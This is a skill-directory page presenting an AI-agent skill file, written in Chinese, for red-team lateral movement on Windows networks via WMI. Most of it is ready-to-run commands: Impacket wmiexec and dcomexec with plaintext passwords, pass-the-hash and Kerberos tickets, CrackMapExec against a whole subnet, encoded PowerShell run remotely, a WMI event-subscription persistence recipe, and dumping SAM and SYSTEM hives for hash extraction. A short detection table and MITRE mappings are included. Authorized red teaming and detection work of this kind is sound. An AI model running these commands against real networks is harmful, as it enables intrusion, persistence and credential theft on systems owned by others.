performing-lateral-movement-with-wmiexec

在红队演练中,使用基于 WMI 的远程执行技术(包括 Impacket wmiexec.py、CrackMapExec 和原生 WMI 命令)在 Windows 网络中执行横向移动,实现隐蔽的后渗透操作。

9 stars

Best use case

performing-lateral-movement-with-wmiexec is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在红队演练中,使用基于 WMI 的远程执行技术(包括 Impacket wmiexec.py、CrackMapExec 和原生 WMI 命令)在 Windows 网络中执行横向移动,实现隐蔽的后渗透操作。

Teams using performing-lateral-movement-with-wmiexec should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-lateral-movement-with-wmiexec/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-lateral-movement-with-wmiexec/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-lateral-movement-with-wmiexec/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-lateral-movement-with-wmiexec Compares

Feature / Agentperforming-lateral-movement-with-wmiexecStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在红队演练中,使用基于 WMI 的远程执行技术(包括 Impacket wmiexec.py、CrackMapExec 和原生 WMI 命令)在 Windows 网络中执行横向移动,实现隐蔽的后渗透操作。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 使用 WMIExec 执行横向移动

## 概述

WMI(Windows Management Instrumentation,Windows 管理规范)是一个合法的 Windows 管理框架,红队将其滥用于横向移动,因为它能提供远程命令执行能力,而无需部署额外服务或留下如 PsExec 那样明显的痕迹。Impacket 的 wmiexec.py 通过 Win32_Process.Create 执行命令,并通过 ADMIN$ 共享上的临时文件读取输出,从而创建基于 WMI 的半交互式 Shell。与 PsExec 不同,WMIExec 不会在目标上安装服务,使其更为隐蔽,更不容易触发安全告警。基于 WMI 的横向移动对应 MITRE ATT&CK T1047(Windows Management Instrumentation),APT29、APT32 和 Lazarus Group 等威胁行为者均使用此技术。

## 目标

- 使用基于 WMI 的技术在 Windows 目标上执行远程命令
- 通过 Impacket wmiexec.py 建立半交互式 Shell
- 使用 WMI 进行哈希传递(Pass-the-Hash)横向移动
- 使用 CrackMapExec 对多个目标执行 WMI 命令
- 执行原生 PowerShell WMI 命令进行无文件横向移动
- 将 WMI 与凭据收割链接以实现全网络访问

## MITRE ATT&CK 映射

- **T1047** - Windows Management Instrumentation
- **T1021.003** - 远程服务:分布式组件对象模型(DCOM)
- **T1550.002** - 使用替代认证材料:哈希传递
- **T1059.001** - 命令和脚本解释器:PowerShell
- **T1570** - 横向工具传输

## 实施步骤

### 阶段一:使用 Impacket 的 WMIExec
1. 使用凭据建立半交互式 Shell:
   ```bash
   # 使用明文密码
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50

   # 使用 NT 哈希(Pass-the-Hash)
   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50

   # 使用 Kerberos 票据
   export KRB5CCNAME=admin.ccache
   wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local

   # 执行特定命令(非交互式)
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
   ```
2. 无输出文件方式执行命令(通过 DCOM 更隐蔽):
   ```bash
   # 使用 dcomexec.py 作为替代(MMC20.Application DCOM 对象)
   dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50

   # 使用 ShellWindows DCOM 对象
   dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
   ```

### 阶段二:CrackMapExec 多目标执行
1. 跨多个目标执行命令:
   ```bash
   # 在子网上执行单条命令
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"

   # 使用哈希执行
   crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"

   # 执行 PowerShell 命令
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"

   # 通过 WMI 检查本地管理员访问权限
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
   ```

### 阶段三:原生 WMI 命令(Windows)
1. 使用内置 Windows WMI 工具执行远程命令:
   ```powershell
   # 使用 wmic.exe(已弃用但仍可用)
   wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"

   # 使用 PowerShell Invoke-WmiMethod
   $cred = Get-Credential
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"

   # 使用 CIM 会话(WMI 的现代替代品)
   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
     -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
   ```
2. 通过 WMI 执行无文件 PowerShell:
   ```powershell
   # 远程执行 Base64 编码的 PowerShell 命令
   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
   ```

### 阶段四:基于 WMI 的持久化
1. 创建 WMI 事件订阅以实现持久化:
   ```powershell
   # 创建 WMI 事件订阅(每次登录时运行命令)
   $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
     -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                  QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}

   $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
     -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}

   Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
     -Arguments @{Filter=$filter; Consumer=$consumer}
   ```

### 阶段五:与凭据收割链接
1. 使用 WMI 进行远程凭据提取:
   ```bash
   # 通过 WMI + reg save 转储 SAM 哈希
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"

   # 下载保存的注册表蜂巢文件
   smbclient.py domain.local/admin:'Password123'@10.10.10.50
   > get C:\temp\sam
   > get C:\temp\system

   # 从保存的蜂巢文件提取哈希
   secretsdump.py -sam sam -system system LOCAL
   ```

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| wmiexec.py | 半交互式 WMI Shell(Impacket) | Linux(Python) |
| dcomexec.py | 基于 DCOM 的远程执行(Impacket) | Linux(Python) |
| CrackMapExec | 多目标 WMI 执行 | Linux(Python) |
| wmic.exe | 原生 Windows WMI 命令行工具 | Windows |
| PowerShell CIM | 现代 WMI cmdlet | Windows |
| SharpWMI | .NET WMI 执行工具 | Windows(.NET) |

## WMI 执行方法比较

| 方法 | 是否创建服务 | 输出方式 | 隐蔽程度 |
|--------|----------------|---------------|---------------|
| wmiexec.py | 否 | ADMIN$ 上的临时文件 | 中 |
| dcomexec.py | 否 | ADMIN$ 上的临时文件 | 中高 |
| wmic.exe | 否 | 无(盲执行)或重定向 | 中 |
| PowerShell WMI | 否 | 无(盲执行)或重定向 | 高 |
| PsExec(对比) | 是 | 服务输出管道 | 低 |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| Win32_Process.Create WMI 调用 | 事件 4688(进程创建),WMI 父进程 |
| ADMIN$ 上的 WMI 临时输出文件 | 监控 ADMIN$ 共享上的临时文件 |
| 远程 WMI 连接(DCOM/135) | 监控到工作站的 DCOM 流量 |
| WmiPrvSE.exe 派生 cmd.exe/powershell.exe | EDR 进程树分析 |
| 事件 5857/5860/5861 | Microsoft-Windows-WMI-Activity 中的 WMI 活动日志 |

## 验证标准

- [ ] 已在远程目标上建立 WMIExec Shell
- [ ] 已通过 WMI 验证哈希传递执行
- [ ] 已通过 CrackMapExec WMI 执行多目标命令
- [ ] 已远程执行原生 PowerShell WMI 命令
- [ ] 已通过 WMI 执行链完成凭据收割
- [ ] 目标系统上无服务创建痕迹
- [ ] 已通过命令输出和截图记录证据

Related Skills

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

performing-web-application-vulnerability-triage

9
from killvxk/cybersecurity-skills-zh

使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。

performing-web-application-scanning-with-nikto

9
from killvxk/cybersecurity-skills-zh

Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。

performing-web-application-penetration-test

9
from killvxk/cybersecurity-skills-zh

遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。

performing-web-application-firewall-bypass

9
from killvxk/cybersecurity-skills-zh

使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。

performing-vulnerability-scanning-with-nessus

9
from killvxk/cybersecurity-skills-zh

使用 Tenable Nessus 执行认证和未认证漏洞扫描,识别网络基础设施、服务器和应用程序中的已知漏洞、 错误配置、默认凭据和缺失补丁。扫描器将发现与 CVE 数据库和 CVSS 评分关联,生成优先级修复指导。 适用于漏洞扫描、Nessus 评估、补丁合规检查或自动化漏洞检测等请求场景。